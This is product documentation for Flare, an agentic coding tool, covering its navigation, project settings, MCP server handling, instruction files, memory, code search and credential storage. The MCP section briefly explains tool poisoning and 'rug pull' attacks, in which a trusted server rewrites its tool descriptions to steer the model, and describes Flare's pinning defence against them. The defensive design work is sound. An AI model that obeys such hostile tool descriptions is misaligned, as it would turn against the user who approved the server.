- **Integrations** — your **Claude** connection (**Disconnect**, then **Confirm: disconnect Claude**; see [Connect Claude](#connect-claude)); on a hosted Flare your **Personal API tokens** (create one by name, revoke one); and **Connected apps**, the MCP clients you approved, each revocable at once.

**Where to find it** — The account menu at the far right of the top bar → **Your account**, the **Go to Your account** command in the ⌘K palette, or `/account` directly. A left-hand rail links to each section.

**How it works** — Revoking a token, an app or a browser session ends its access immediately. Personal tokens and browser sessions belong to [Accounts](#accounts-and-teams), so a local Flare shows neither.

### Top-bar navigation & routes

**What it does** — One persistent top bar carries all navigation. Its contents adapt to where you are: outside a project it shows the 🔥 Flare brand (a link to the Projects home); inside a project it swaps in a project switcher plus the project's section links.

**Where to find it** — Always visible at the top of every authenticated page. Inside a project (e.g. `/p/p_2449f1b1/...`), the left side shows: the 🔥 flame (back to Projects home), a project-name dropdown (▾) listing every registered project for one-click switching, and six section links — **Board** (`/p/p_2449f1b1/board`), **Workbench** (`/p/p_2449f1b1/workbench`), **Ideas** (`/p/p_2449f1b1/ideas`), **Jobs** (`/p/p_2449f1b1/schedule`, [scheduled jobs](#scheduled-jobs--maintenance-that-runs-on-its-own)), **Codemap** (`/p/p_2449f1b1/codemap`), and **Settings** (`/p/p_2449f1b1/settings`, the project's own wiring, distinct from the global Settings on the right — think repo settings vs. account settings). The right side always shows: a **⌘K** chip (opens the command palette), an icon-only **Project usage** button (project scope only — a bar-chart glyph that opens the project's spend dashboard in a popover), an icon-only **Docs** link (a book glyph that opens [this guide on the website](#documentation) in a new tab), and an icon-only global **Settings** link (a gear glyph) — each carries a hover tooltip and screen-reader label naming it, consistent with the auxiliary icon-only popovers beside them — plus a compact Run-settings model indicator (project scope only), the usage chip (the status popover), and the account menu: on a hosted Flare it shows your name and email and holds **Your account** and **Sign out**; on a local Flare it reads **Account**, says "Local Flare — On this computer · no sign-in", and holds **Your account** only.

On a narrow screen the bar stays one row. At 900px and below, inside a project, the six section links move to a tab bar along the bottom edge, each an icon over its label. On a phone (640px and below) the Docs and Settings icons leave the top bar inside a project and appear in the account menu instead.

![The Board on a phone: the top bar keeps one row and the project sections move to a tab bar along the bottom](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/board-phone.png)

**How it works** — Routes are the source of truth: `/` is the Projects home, `/settings` the global settings, `/account` your account, `/docs` forwards to this guide on the website, and everything project-scoped nests under `/p/<projectId>`. A bare `/p/<projectId>` redirects to its `/board`; an unknown or deleted project id redirects to the Projects home before anything mounts. The active link is highlighted, and switching projects fully remounts the project scope (fresh session, fleet, and backlog state) while navigating between sections of the same project does not.

When the page cannot read a live update from the server, a banner counts them and says the server and the page may be different versions — reload the page, and restart the server if it persists. When the server's sign-in or account status answer has a shape this page does not know, the page shows only that message, ending "reload the page", in place of the shell.

### Documentation

**What it does** — This feature guide lives on Flare's website, at [codingflare.dev/docs](https://codingflare.dev/docs), with a searchable table of contents, deep-linkable headings and full-size screenshots. The app links to it rather than carrying its own copy.

**Where to find it** — **Docs** in the top bar (a book glyph), **Docs** in the account menu on a phone, or the **Open Docs in a new tab** command in the ⌘K palette. Each opens the website in a new tab, so the guide and the app stay open side by side. The app's own `/docs` address (an old bookmark, or a tab opened before the guide moved) forwards to the website.

**How it works** — The guide has one copy, kept with the website: an index plus one Markdown file per area, and the screenshots they show, rendered as a single page. Flare's repository holds no copy of it; its README and the app link to the website.

### The ⌘K command palette

**What it does** — A keyboard-first launcher for everything: navigation and stopping the live run — all filtered by fuzzy search as you type.

**Where to find it** — Press **⌘K** (macOS) / **Ctrl+K** anywhere — it even works while typing in an input, and a second press closes it again. There is also a **⌘K** chip in the top bar for mouse discovery.

![The command palette with grouped, fuzzy-matched commands](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/command-palette.png)

**How to use it**

1. Open with **⌘K / Ctrl+K** and start typing — matching is forgiving (word-start matches rank highest, then substrings, then in-order subsequences like "gtb" for "Go to Board"), and matched characters are highlighted in each label.
2. Navigate with **↑/↓**, run the highlighted command with **Enter**, close with **Esc**. The footer always shows this key contract plus how many commands match.
3. Commands are split into two sections. **Project** holds Go to Board, Workbench, Ideas, Scheduled jobs, Codemap, Projects Settings, and Stop run while a run is live. **General** holds Projects home, Settings, Your account and Open Docs in a new tab. With an empty query Project comes first. While you type, the section holding the best match leads. Outside a project only **General** appears.

**How it works** — The palette is a portaled modal over a registry of command sources: the shell contributes the global commands, and the project layout contributes the **Project** section's commands only while a project is mounted. Sources are read at open time, so every command sees current state, and context-inapplicable commands (e.g. "Stop run" with no run live) simply disappear rather than appearing disabled.

### Keyboard shortcuts & the "?" cheat sheet

**What it does** — A small, global keyboard layer plus a reference sheet listing the global, palette, project-switcher and board bindings, grouped by surface.

**Where to find it** — Press **?** anywhere (when focus is not in a text field) to open the "Keyboard shortcuts" sheet; close with **Esc** or ✕.

![The keyboard shortcuts cheat sheet](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/shortcuts-cheat-sheet.png)

**How to use it** — The bindings are: **Global** — `⌘/Ctrl K` open the command palette, `?` show the keyboard reference, `Esc` close the palette, the sheet, or any dialog. **Command palette** — `↑`/`↓` move between commands, `Enter` run the highlighted one. **Project switcher** — `⌘/Ctrl ↑/↓` previous / next project from anywhere inside a project (opens the project menu); `Esc` closes the project menu. **Backlog board** — `Enter`/`Space` open the focused card, `Ctrl ←/→` move a card between lanes (Backlog ⇄ Approved), `Alt ↑/↓` reorder a card within its lane.

**How it works** — The layer is deliberately tiny: ⌘K is the only global modifier chord (bound everywhere, even from inputs). `⌘/Ctrl ↑/↓` listens on every project page (with two or more projects, and not while a dialog is open), and the bare `?` key is always active; both are skipped while you are typing in an input, textarea, select, or editable field.

### Appearance

The GUI is built from OpenUI's React components (`@openuidev/react-ui`) behind Flare's own facades, themed through OpenUI's theme provider with Flare's single dark palette (Catppuccin Mocha) and fonts. Its text is held to WCAG AA contrast by a unit test over the design tokens. Where OpenUI has no component — the board's drag-and-drop, diff review, the trace, dialogs and the command palette — Flare keeps its own, on the same tokens.


## Project Settings

Every project has a Settings page that collects its set-and-forget configuration into one place, one section card per concern, with a sticky anchor nav on the left for jumping between them: **Where cards run**, **Overrides**, **MCP servers**, **Instructions**, **Memory** and **Skills** (see [Skills — reusable expertise packs](#skills--reusable-expertise-packs)). **Storage** follows for the owner and admins (on a desktop Flare, you). On a hosted server **Members** comes first for everyone signed in, and **Import from desktop** comes last for the owner and admins ([Accounts and teams](#accounts-and-teams)); a local Flare instead ends with **Export** for its owner ([Project import](#project-import)). Open it from the **Settings** link in the project top bar (next to Board / Workbench / Ideas / Codemap), at `/p/p_2449f1b1/settings`, or through the command palette (**Ctrl/⌘K**): "Go to Projects Settings" lands on the page. Three things a project can be configured with deliberately have no pane here — its connectors (`.flare/connectors.json`, see [Connectors](#connectors--built-in-web-tools)), its permission rules ([Permission rules](#permission-rules)) and its lifecycle hooks (`.flare/hooks.json`, see [Lifecycle hooks](#lifecycle-hooks-flarehooksjson)) — and are configured by file instead. This page configures how the project's agent is wired; the top bar's Run settings popover shows the resolved runtime values (model, autonomy mode, limits), covered in [Budget caps](#budget-caps). Storage, Import from desktop and Export load only for the people they are shown to, with a loading line while they do. While the workspace is untrusted, the MCP servers and Instructions panes say so ("This workspace isn't trusted, so … can't be changed here") and keep **Add server** and **New rule** off. Any pane that fails to load reports into the shared project error banner.

![The project Settings page with its sticky section nav](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/project-settings.png)

### Where cards run

**What it does** — Chooses, per project, whether its cards run **On this computer** (git worktrees here, as always) or **In a sandbox** (each card in its own Upstash box: Flare uploads the code as a git bundle, the box runs installs, commands and tests, and only the resulting tree comes back; Flare authors every commit).

**Where to find it** — Project → **Settings → Where cards run**. The **Upstash Box API key**, box sizes and budget are under **Settings → Sandbox**. On a hosted server every project runs its cards **In a sandbox**: the switch to **On this computer** is refused (403), a new project is always a sandbox project whatever `fleet.execution` says, and a record that still says local runs no card and says why. There the pane offers only **In a sandbox**, with "A hosted Flare runs every project's cards in a sandbox, never on the server." Only the owner and admins choose where a project's cards run; anyone else sees the choice with "Only the owner and admins choose where this project's cards run."

**How to use it** — Pick a card. Flare refuses the switch while any card still holds work (a worktree, a box or a running Refine) and names those cards: land, ship or delete them first. A sandbox project shows its **Project snapshot** below the choice: the state, the key, when it was built, the last failure, and **Rebuild snapshot**, which only a maintainer of the project can press. A sandbox project with no saved key shows **No Upstash Box API key** — "Cards in this project cannot start until you add one in Settings → Sandbox."

**What it refuses to do** — Read the choice from the repository: it is kept on Flare's own project record, so a repository (or anyone who can push to it) can never switch itself to run here. Start a sandbox card without an Upstash Box API key: Refine and Start say where to add one. Run a sandbox project's code on this computer outside a card: its own sessions (Workbench, MCP `flare_run`) and Ideas may read and edit files, but every command, background process, formatter, verify and tool hook is refused with the reason, and its workspace plugins, language servers, local MCP servers and ACP agents stay off.

**Configuration** — Each project's choice, which Flare keeps on its project record. The default new projects start with, the box sizes, the concurrency limit, the monthly budget and the allowed domains are under [Sandbox execution](#sandbox-execution).

### Overrides

**What it does** — Lets this project override the settings whose right answer
belongs to the **repo** rather than to you: the formatter command and its
extension list, the verify command and its timeout, the external review command,
the `run_command` timeout, the fleet's worktree install
command, and extra credential-file globs. One install working on a Python service
and a TypeScript app cannot have a single answer for those, which is what a
global-only store could not express. The credential globs only add to the global
list: the row reads **Add entries for this project**, and the global entries
("Always applies (global)") cannot be removed.

**It fills them in for you.** The formatter, verify and install commands all key
off a blank string, so on a new project the syntax gate, the verify loop and the
pooled install are all inert and nothing says so. Flare reads the repo — the lockfile for the
install command, `package.json` scripts and dependencies for the verify and
formatter commands, `Cargo.toml` and `go.mod` for the two non-Node toolchains it
can be certain about — and offers what it found, with the evidence beside it
("`package.json` has a `typecheck` script"). **Use this** stages the value like
any other edit; nothing is applied until you save. Accepting a formatter
suggestion also stages the extensions that formatter can read in **Format only
these extensions**, unless that row is already overridden. A suggestion is withheld the
moment a field has a value of any kind, because a prompt beside a command you
already chose is an invitation to overwrite it with a guess.

**Where to find it** — The section after **Where cards run** on the project
Settings page, `/p/p_2449f1b1/settings#overrides`.

**How to use it** — Each row shows what it currently **inherits** from global
Settings, so turning an override off is not a guess about what happens next. Tick
**Override for this project** to reveal the control, seeded with the inherited
value; untick it to go back to inheriting. Edits stage until you press **Save**,
which reports whether the change is live or waiting on work in flight.

While the project is untrusted, the pane says none of its overrides is applied —
the engine runs on global settings — and still shows what the project's
`.flare/settings.json` declares, which is worth reading before you trust it.
Saving a value is refused; clearing an override still works.

**How it works** — Overrides persist to the workspace's own
`.flare/settings.json` and apply by rebuilding that project's runtime — no server
restart, and no effect on any other project. Only the catalog's `project`-scoped
keys that global Settings shows appear here; the hidden ones (`editing.verifyParser`,
`review.commandTimeoutMs`, `mcp.configPath`, `memory.codeIndexExtensions`) are
set by hand in the same file. Scope is an authority boundary rather than a lookup order: the
resolver never consults a project's file for a `global` setting, and the route
refuses to write one, so opening a project can never widen a safety posture you
set once for the whole install. Precedence is environment → project → global →
default.

**Configuration** — `.flare/settings.json` in the workspace (written by this
pane). **Toolchain → run_command timeout** (default 120000 ms) bounds each
`run_command` call; raise it for a slow test suite. Everything else lives in the global store; see
[Global Settings](#global-settings--navigation).

### MCP servers

**What it does** — Shows every external Model Context Protocol server configured for the project, each with a colored status dot (connected / needs authorization / **tool definitions changed** / error / disconnected), its transport and tool count, and any error message. Actions per server: **Authorize** runs the interactive OAuth flow, **Reconnect** re-lists a connected server or retries a failed one, **Accept changes** re-approves a server whose advertised tools changed, and **Remove** (two clicks) takes it out of `flare.mcp.json`. While a confining sandbox tier is active, a stdio server does not appear in the list at all — including one just added with **Add server** — and the server log names it.

**Where to find it** — `/p/p_2449f1b1/settings#mcp-servers`.

**How to use it** —

1. Click **Add server**, or add servers to `flare.mcp.json` in the project root — the button writes that file for you. Its **Form** tab takes a name and a transport: **stdio** (a command, its arguments one per line, and `KEY=VALUE` environment lines) or **http** (a URL and `KEY: VALUE` header lines); `${ENV_VAR}` references a host variable and keeps its value out of the file. Its **Paste JSON** tab takes a whole `{ "mcpServers": { … } }` block, or a single entry paired with the name, and says which existing servers it would replace. A file you wrote or edited outside Flare starts nothing until you accept it (see **Config review** below).
2. Watch the status dot; a server that needs auth shows an **Authorize** button.
3. Click **Authorize** — once the flow starts, an "Open authorization page" link appears; it opens the provider's auth page in a new tab.
4. Use **Reconnect** to retry after fixing a config or a flaky connection.
5. If a server's dot reads "tool definitions changed — review needed", read the diff that appears under it — added and removed tools, new or dropped capabilities, tools whose arguments changed, and the before/after of any rewritten description — then click **Accept changes** and then **Confirm accept?** to re-approve it.

**How it works** — Flare acts as an MCP host: a connected server's tools join the agent's toolset but still pass through the same deny > ask > allow permission engine, secret masking, and budget as native tools, and MCP output is wrapped as untrusted before it reaches the model.

**Shared with cards** — A project starts each server once. Its cards use the project's connection (each card's own permission engine still decides every call), so five running cards do not mean five copies of every server. A card on another sandbox tier than the project's main engine starts its own, as the tier decides which servers may run. A server that keeps state one card must not see from another (a browser session, an open transaction) can run one copy per card instead: set `"perCard": true` on it in `flare.mcp.json` (a block pasted into the **Paste JSON** tab, or saved through the API or SDK, keeps it; the **Form** tab cannot set it, so replacing a per-card server through the form makes it a shared one again). The project also opens its event store, memory store and embedding model once and lends them to its cards; a card's workspace, sandbox, guard and approvals stay its own.

**Tool-definition pinning** — When a server's tools are first loaded, Flare records what it advertised: each tool's name, description and input schema, plus which capability groups it offers. On every later connect, re-list and authorization, that record is compared against what the server now says. If it differs, the server is parked as **needs re-trust** and its new tools are withheld until you accept them — a refresh keeps the previously accepted tools loaded, a first connect contributes nothing.

This closes the gap behind MCP tool poisoning and "rug pulls" (CVE-2025-54136): a tool's description is prose the model obeys, so a server that was benign when you approved it can turn hostile on its next update — through its own auto-updater, or an `npx` package that resolves to something new. The record lives in `~/.flare/mcp/tool-pins.json`, outside any project tree, scoped per project so a server named `docs` in one project is never authorized by another project's acceptance; removing a server from `flare.mcp.json` forgets it.

**Config review** — A config you did not write through Flare starts nothing. The first time a project opens, Flare records a fingerprint of `flare.mcp.json` (or that it is absent). Its own **Add server** and **Remove** update that record; any other change — a hand edit, a pull, an agent's write — stops every server in the file from starting, and the log says the file "changed outside Flare since it was last reviewed". This pane then shows the file and each command, URL, env var and header it would run (secret-masked), with **Accept this file** → **Confirm: start these servers**. Accepting applies only to the exact bytes you were shown; if the file changes again in between, it is refused. The record lives under `~/.flare`, so a cloned repo cannot ship one.

**Configuration** — `flare.mcp.json` (path overridable with the hidden, project-scoped `mcp.configPath`, which a project's own `.flare/settings.json` may also set); the hidden `mcp.connectTimeoutMs` (default 10000 ms) bounds the connection attempt and each re-list; the pin file's location is the hidden `mcp.toolPinsPath`. They are set by hand in `~/.flare/settings.json`.

![The Add MCP server dialog on its Form tab: name, transport, command, arguments and environment](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/mcp-add-server.png)

### Instructions

**What it does** — The glass-box view of what silently steers every run. The top list shows the root instruction files — `AGENTS.md`, `CLAUDE.md`, and `AGENTS.override.md` when the project has one — each with an **active** badge when it's injected into every run's system prompt, or a "not created" badge, plus a size chip and a content preview when the file exists; an existing file's **View** button opens its full content rendered as markdown (headings, lists, highlighted code blocks and tables). These rows are **informational/read-only**: there is no Edit or Create button — root files are project code/policy, edited by hand with your own text or IDE editor, not through this app. Rules read from other harnesses' folders (below) follow, each with its source badge, under "Read from other harnesses in this repo"; they too are edited in their own files. Below that, scoped rules (`.flare/rules/*.md`) remain fully manageable: each appears with its scope badge, description, file-glob chips, and a one-line preview, plus **Edit** / **Delete** actions, a **New rule** button and **Suggest a rule from recent runs** ([Suggest a rule from recent runs](#suggest-a-rule-from-recent-runs)). An active file or rule over 16 KB raises a warning that it loads into every run's context.

![The Instructions pane: root files with their active badges, and the rules list](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/settings-instructions.png)

**Where to find it** — `/p/p_2449f1b1/settings#instructions`.

**How to use it** —

1. Check a root file's **active** / "not created" badge and preview to see what's steering the current run — then edit `AGENTS.md`/`CLAUDE.md` directly on disk; the pane picks the change up on its next poll. As in the AGENTS.md convention, a non-empty `AGENTS.override.md` is read **instead of** the `AGENTS.md` in the same folder (at the root, or in any subfolder the agent works in), so `AGENTS.md` then shows as not active; an empty override is ignored.
2. Click **New rule** to author a scoped rule: a name (which becomes the `.flare/rules/<name>.md` filename), a description, the rule text, an "Apply to every run" checkbox, and optional comma-separated file globs (e.g. `*.ts, src/**`) that scope it to matching files. The rule editor also offers **AI ✨ Refine** to sharpen its body before saving.
3. **Delete** asks in a "Delete rule?" dialog first — it deletes the rule's file and cannot be undone.

**How it works** — Active root files and always-apply rules are assembled into the system prompt when the engine starts. A rule saved or deleted in the pane steers the next run straight away; while a run is in flight it waits for that work to finish, and the pane says so ("Saved. A run is in progress…"). A root file or rule file you edit by hand takes effect on the next engine start (a restart, or after the project idles out), since this app never writes it. A rule whose body or description looks like a credential is refused rather than saved, since it would ride into every later prompt. The server also refuses a root-file save at the API layer (400) as defense in depth, so the restriction holds even if something calls it directly. All text is secret-masked server-side before it reaches the browser.

**Configuration** — `AGENTS.md` / `CLAUDE.md` in the workspace root (edit by hand); `.flare/rules/*.md` for scoped rules (editable from this pane).

**Other harnesses' rules are read too.** A repo already set up for Cursor, Copilot, Kiro or Junie carries the knowledge that makes a harness useful on it — ignoring it would make Flare work _worse_ on first open than the tool that wrote those files. So `.cursor/rules/*.mdc` (and `.md`), `.github/instructions/*.instructions.md`, `.kiro/steering/*.md` and `.junie/guidelines.md` load alongside Flare's own.

Each vendor's frontmatter is translated into the same always / glob-scoped / manual shape `.flare/rules` uses, a shape that follows Cursor's `.mdc`. Copilot's `applyTo` becomes a glob, and its documented `**` becomes _always-applied_ rather than a glob that matches everything (as a glob it would contribute nothing to a run with no mentioned paths, which is most runs). Kiro's default — no `inclusion` field at all — is _always_, the opposite of Flare's default for an unadorned rule, and the vendor's default is honoured: reading someone's files and then ignoring what they meant is worse than not reading them. Kiro's `inclusion: auto` is description-matched injection, a mechanism Flare does not have, so such a rule stays **manual** and says so rather than applying on a heuristic nobody can see.

These sit behind the **same trust gate** as `CLAUDE.md`, not behind a separate opt-in: a rule is instruction text, and gating `.cursor/rules/style.mdc` while reading `CLAUDE.md` silently would be a gate on the filename rather than on what it can reach. Flare's own rules are emitted _closer to the task_ than a foreign file it did not author, so where two disagree the one written for this harness is read last. The set is capped in aggregate (40 rules, 128 KiB) because how many rules a repo ships is not something this install chose, and every rule that loads or is skipped is named in the server log. The hidden `instructions.foreignRules` ("Read other harnesses' rules", on by default) set to `false` reads only Flare's own.

### Memory

**What it does** — Browses and manages the project's durable long-term memory: the facts behind the agent's remember/recall tools. **Search memories…** filters the list by text or scope ("3 of 40"). Each fact shows its text and optional scope with a **Delete** button, which asks before it removes anything. A form at the bottom adds a fact yourself ("A durable fact to remember…", an optional scope, **Add**). Mined facts wait in a **Proposed** list above, each with **Approve** / **Reject**. **Review** starts a [whole-store reconciliation](#whole-store-memory-reconciliation) that keeps adopting merges, corrections and retirements until a pass finds nothing to change; it runs on the server, **Stop** ends it, and a pass that trips the injection scanner or would store a secret waits for you. **Delete all** empties the store after a confirmation; proposals are kept. Someone who does not maintain the project sees the facts and proposals but no **Review**, **Delete**, **Approve** / **Reject** or **Add**, under "Only a maintainer of this project can change its memory."

![The Memory pane's Proposed list: mined facts, each with Approve and Reject](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/settings-memory-proposals.png)

**Where to find it** — `/p/p_2449f1b1/settings#memory`.

**How it works** — Facts live in the project's memory database, shared by the main engine and every fleet agent, and survive restarts and idle-eviction. The list is secret-masked on the wire, since a recalled fact could carry a stored secret.

**Configuration** — Semantic recall uses a deterministic hashing embedder by default; set **Memory → Embedding provider** (`local` runs on this machine and needs no key; `voyage` is hosted) with **Memory → Embedding API key** for real embeddings (the model and base URL are the hidden `memory.embeddingModel` and `memory.embeddingBaseUrl`). **Memory → Mine memories after a run** enqueues up to 5 mined facts per run as **Proposed** memories, each approved or rejected in this pane (off by default).

### Storage

**What it does** — Shows the project's event store (its size, and how much of it is free space the store gives back on its own), each file in its [session archive](#session-archive) with how many sessions it holds and its size, and how many archived sessions were in files since deleted. Under **Sessions nothing uses** it counts the sessions that no card or idea refers to, such as earlier attempts and removed cards, that have gone untouched for the period picked in **Untouched for** (30, 90, 180 or 365 days; 90 to start), with their size. **Move to archive**, then **Confirm move**, moves those into this month's archive file and reports how many sessions and how much space moved. An archived card's sessions need no button: they move on their own.

**Where to find it** — `/p/p_2449f1b1/settings#storage`, for the owner and admins (on a desktop Flare, you); the server refuses anyone else.

**How to use it** —

1. Pick a period in **Untouched for**; the count under it updates.
2. Click **Move to archive**, then **Confirm move**. The button is off while nothing qualifies.

**How it works** — Nothing here deletes anything: a moved session still opens, and its spend stays in Usage. To free the disk, delete an archive file yourself; to bring one back, run `flare-maintain restore-sessions <file>`. The same move from a terminal is `flare-maintain prune --older-than-days N`, with `--dry-run` to see the count first ([Store maintenance and backup](#store-maintenance-and-backup)).

![The Storage pane: event store size, the session archive, and sessions nothing uses with Move to archive](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/settings-storage.png)

### Semantic codebase search

**What it does** — Lets the agent find code by describing what it _does_ rather than guessing what it is _called_. `codebase_search("where are passwords hashed")` returns ranked `file:line` spans with snippets.

**Where to find it** — Off by default. Set **Memory → Semantic code index** to turn it on; the `codebase_search` tool then appears in every run's tool list.

**Why it exists** — Finding code is the single biggest consumer of an agent's time and tokens: grep needs the exact string, and reading files to look around spends frontier-model calls on navigation. An embedding index answers "where is the thing that does X" directly.

**How it works** — Files are split into line-aligned chunks that **tile** the file (every line belongs to exactly one chunk, so nothing can silently vanish from the index), embedded once, and stored in `<dataDir>/codeindex.sqlite`.

Chunk boundaries are structural rather than a fixed window: a chunk is extended past its preferred size to the next line that starts at column 0, so a function tends to stay whole. A file with no such boundary — a minified bundle, a giant data literal — is still cut at a hard ceiling.

Indexing is **incremental by content hash**. A sync re-reads every candidate file, but only re-embeds the ones whose bytes changed, so the expensive full pass happens once and every pass after it is nearly free. That is what makes it usable on a repo you are actively editing. It runs in the background when the engine is built and is never awaited, so a fresh project's first run does not wait on it.

Lockfiles, images, `.d.ts` files, minified bundles, and anything under `dist/`, `build/`, `out/`, `coverage/` or `vendor/` are skipped — they cost real embedding calls and return noise, and what people look for inside them are exact strings, which is what `search_files` is for.

**Which embedder — and how good the results actually are** — With **Memory → Embedding provider** configured, the index shares it, and retrieval is genuinely semantic.

Without one it falls back to a built-in code-aware hashing embedder. That embedder splits `hashPassword` into `hash` and `password` (the plain word tokenizer used for memory would see one opaque token, and "password hashing" would match nothing at all), drops language keywords that appear in every chunk, and damps repeated words. **Be clear-eyed about what that is: smart lexical matching, not semantic understanding.** Measured on this repo, it puts a genuinely relevant file in the top few for most questions and the exactly-right one first for some — useful, and a long way short of what a real embedding model does. If you care about this feature, configure a provider — `local` needs no key and no network once its weights are downloaded.

Prose is left out of the index by default for the same evidence-led reason: with markdown included, three chunks of a dated design plan outranked `model/http.ts` for "retry a provider request that failed with a rate limit". Add `.md` back via the hidden, project-scoped `memory.codeIndexExtensions` if that trade suits your repo.

Vectors are stamped with their embedder's **space** and scored only within it. Switching embedder therefore invalidates the index and re-embeds, rather than silently ranking your query against vectors it cannot be compared to — including for files whose contents never changed.

**What it will not do** — It is not a replacement for `search_files`. The tool's own description says so, because the real failure mode is a model that greps for a concept (finding nothing) or semantic-searches for an exact string (finding approximations). An empty result also says _which_ empty it was: "the index is still building" and "nothing matched" call for completely different next moves.

**Configuration** — **Memory → Semantic code index**, **Memory → Embedding provider** and **Memory → Embedding API key** on the page; the hidden `memory.codeIndexExtensions` (project-scoped), `memory.codeIndexConcurrency` (default 8), `memory.codeIndexMaxFileChars` (files larger than this are skipped; default 400000), `memory.embeddingModel` and `memory.embeddingBaseUrl` in `~/.flare/settings.json`.


## Models, Providers & Context

Flare drives Anthropic's Claude models, authenticated with your own API key or a Claude subscription connection (OAuth). Around the model sit the levers you actually feel day to day — model selection, extended thinking, automatic context compaction with a live meter, transparent cost accounting, and a fallback chain that keeps a session alive through rate limits. Because every model interaction is recorded as events, all the usage, cost, and reasoning views on this page are pure projections over the session log — nothing extra is instrumented.

### Signing in — BYO key or Claude OAuth

**What it does** — Gives Flare a model credential one of two ways: an environment key/token (BYO-key, typical for CI) or an interactive "Connect Claude" OAuth login that reuses your Claude subscription (Your account → Integrations → Claude). When you fill the API key field in Settings, a notice under it says Flare's per-run cost limit does not protect a leaked key and links to the Claude Console's spend limits, where a limit is set per workspace (give the key its own workspace); it stays while the key is unsaved and for 30 seconds after you save. Resolution priority is: explicit env token/key → stored OAuth login; with neither, the GUI stays on the sign-in gate. On a hosted Flare there is no instance credential at all: `ANTHROPIC_API_KEY`, `model.anthropicApiKey` and `model.anthropicToken` are read by nothing (the boot log says so), each person's login is sealed on its own under `<FLARE_HOME>/claude/<userId>.json`, every model call resolves the paying person's login at the moment it is made, and the top bar's usage is that person's own subscription. An instance-wide login (`credentials.json`) found at a hosted boot becomes the owner's own connection, unless the owner already has one (it is read back before the old file is deleted); `flare-maintain doctor` notes any person's login that no longer opens; disabling a person deletes theirs.

**Where to find it** — With no credential configured, the app at `/` shows a full-screen "Connect your Claude" card (see [Connect Claude](#connect-claude)). To disconnect later, use **Disconnect** under **Your account → Integrations → Claude** at `/account`.

**How to use it** —

1. Click **Connect Claude**. Flare opens the Anthropic authorization page in a new tab.
2. Authorize there, then copy the code Anthropic shows.
3. Paste it into the **Paste authorization code** field and click **Connect** (or **Restart sign-in** to start over).

**How it works** — The OAuth flow uses PKCE; tokens are stored encrypted (AES-256-GCM) in your Flare home directory, so one login covers every project. A refreshing credential resolves per request and renews tokens before expiry — signing in applies live, no server restart. The gate fails closed: anything short of a confirmed connection shows the gate, never the workbench.

**Where the encryption key lives** — The token file is AES-256-GCM sealed, and the key for it is held by the operating system: **DPAPI** on Windows (`ProtectedData`, CurrentUser scope), the **Keychain** on macOS, **libsecret** on Linux. A key file in the same directory as the ciphertext it protects would let anything that reads one read the other — and a `0600` mode guarding it means nothing on Windows, the primary platform.

Flare picks a backend by actually round-tripping a value through it, not by checking whether a binary exists: an installed `secret-tool` says nothing about whether a Secret Service is running, and a Keychain can be present but locked. Anything that fails — no keystore, a headless box with no keyring, a backend that loses the write — falls back to a key file, hardened with `icacls /inheritance:r` on Windows — with one exception: once this home has moved its key into a native store, an unreachable native store is refused (with the way out in the message) rather than answered with a new key, which would orphan everything sealed under the real one.

Upgrading is automatic and needs nothing from you: an existing `credentials.key` is copied into the keystore on first read and removed **only after** the keystore hands the same bytes back. If it can't, the file stays and the next run tries again. The MCP host's OAuth tokens for remote servers (`~/.flare/mcp/tokens.json`) are sealed the same way; a plaintext one written by an older version is still read, and re-sealed on the next write.

What DPAPI buys, precisely: the blob is useless on another machine, under another Windows account, in a backup, or in a synced profile folder. What it does not buy: protection from code already running as you. That is the honest ceiling of a user-scoped keystore on any of the three platforms.

Set the hidden `model.keystore` to `dpapi`, `keychain`, `libsecret`, or `file` to force a backend; anything else auto-detects. Forcing `file` after an upgrade means one re-login, since the key it wants is now in the keystore. A stored Claude login sealed under a key the current backend cannot open (a desktop home carried to a hosted server, say) is never overwritten: finishing a sign-in answers 409, saying the login could not be saved and that `credentials.json` in Flare's home must be moved aside first. A sign-in code Claude refuses answers 502, and the sign-in starts over. The `env` backend stores nothing: it derives each key (HKDF-SHA256) from `FLARE_MASTER_KEY`, the base64 of 32 random bytes, and refuses to start without it; it is never probed, never falls back to another backend, and refuses to store a key it did not derive. A hosted server (`FLARE_HOSTED`) always uses `env`, whatever `model.keystore` says: `FLARE_MASTER_KEY` is read once at boot and removed from the environment by each entrypoint's second import (only the PATH hardening runs before it, and that spawns nothing), so no child process inherits it, and it is on every scrub list as well. A hosted boot refuses to start without it, and refuses a vault that does not open under it rather than starting with no secrets or sealing a new vault over the old one. Once boot has confirmed the server is hosted, every keystore opener in the process gets `env` and any other choice is refused, so a later edit to `settings.json` cannot move a credential store onto another keystore. One limit: on Linux, removing the variable does not erase it from the process's original environment block, so it stays readable in `/proc/<pid>/environ` of the server and of the processes that started it (pnpm, tsx), by any process running as the same user, until the deployment starts node directly or delivers the key as a file. A confined `os`-tier child cannot see it.

**Configuration** — **Model → Anthropic API key** (BYO-key; sealed, takes priority over the sign-in; env `ANTHROPIC_API_KEY`), the hidden `model.anthropicToken` (subscription token reuse), **Model → Default model** (default `claude-opus-5-5`), the hidden `model.baseUrl` (gateway/proxy; honoured with an API key or token and on a hosted server, not with a desktop Claude sign-in), `FLARE_HOME` (login storage, default `~/.flare`), the hidden `model.keystore` (where the encryption key lives — `auto`, `dpapi`, `keychain`, `libsecret`, `file`, `env`), the hidden `mcp.tokensPath` (where remote MCP servers' OAuth tokens are sealed, default `mcp/tokens.json` in Flare's home).

### Run-settings popover

**What it does** — A read-only summary of the engine's runtime configuration: the active model and credential status; autonomy mode and sandbox tier; the context budget, output cap, step cap, and tool-call cap; and the verify command and its output parser. Values are grouped under **Model**, **Autonomy & sandbox**, **Limits**, and **Verify**; hovering a row's label shows a hint (the setting behind it, where there is one).

**Where to find it** — The top bar on any project route shows a chip with the active model (e.g. `◆ claude-opus-5-5`). Click it to open the popover; Escape or an outside click closes it. The values are read again each time it opens.

![Run-settings popover showing model, autonomy, and limit configuration](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/run-settings.png)

**How it works** — Everything comes from the project's meta endpoint, which exposes only non-secret values — credentials appear as "Signed in" / "Not signed in", never as a key or token.

